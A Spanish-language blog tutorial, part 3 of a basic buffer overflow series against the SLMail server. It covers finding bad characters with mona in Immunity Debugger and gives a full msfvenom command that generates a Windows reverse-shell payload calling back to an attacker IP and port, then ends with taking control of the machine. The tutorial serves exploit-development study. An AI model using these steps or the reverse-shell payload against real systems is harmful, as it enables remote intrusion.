12 abril 2018

Buffer Overflow Básico Parte 3


Buffer Overflow Básico. Parte 3.

En esta parte cerramos los post de buffer overflow básico :)

Bueno, siguiendo el flujo anterior, ya tenemos nuestro Script con una dirección de memoria  que nos permitiría saltar a nuestro shellcode.

Ahora creamos un bytearray con mona



En breve descripción este bytearray, nos genera un tipo de shellcode que nos permitirá detectar si existe algún carácter nulo o que nos interrumpa la ejecución del shellcode final

Ya que vamos a mencionar en varias ocasiones el termino shellcode, es necesario saber que es un shellcode

Según wikipedia: Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes (conjunto de valores hexadecimales) que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.



Bueno ya que tenemos claro que es un shellcode, comprobamos los bytes que puedan ser corrupto y interrumpir la ejecución de nuestro shellcode

Modificamos el Script y lo ejecutamos



El resultados es



Si observamos la imagen, vemos que para comprobar que bytes corruptos hay, usamos el siguiente comando en el immunity debugger y llamando el Script de mona

!mona compare -f C:\Users\IEUser\Desktop\logsSLMAIL\bytearray.bin -a 0179a128

Recordando que la dirección 0179a128, es la dirección de memoria que aparece en el EIP

Ahora generamos otro bytearray pero con la opción -b \x00, diciéndole que los bytes \x00 no lo incluya



Repetimos el flujo varias veces hasta que nos presente una imagen como esta, la cual nos dice que ya no ahí bytes corruptos



Recordamos que después de la opción -a, va la dirección de memoria que aparece en el EIP

Cuando ya sabemos cuales son los bytes corrupto, entonces ahora generamos un shellcode con el msfvenom de nuestro querido metasploit

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.13 LPORT=153 -a x86 --platform windows -b "\x00\x0a\x0d" -f c

Recuerden cambiar el LHOST por la dirección ip que tengan en el momento

Después que nos genero el shellcode, lo insertamos en el Script  y remplazamos el que teníamos del bytearray

Para finalizar, modificamos el Script el cual pueden descargar desde el github oficial y se le agrego algunos nops el cual estaremos explicando en post posteriores, ya que existen varias formas para detectar la cantidad a usar

Bueno, ahora ejecutamos el Script como súper usuario



Y tomas control de la maquina :)


Cualquier duda o pregunta dejen sus comentarios 👋



Referencias:
https://www.exploit-db.com/exploits/638/
https://github.com/risataimpt/Archivos_del_Blog/tree/master/slmail

No hay comentarios.:

Publicar un comentario

Las Publicaciones más Vistas

Comandos Drozer Pentest Móvil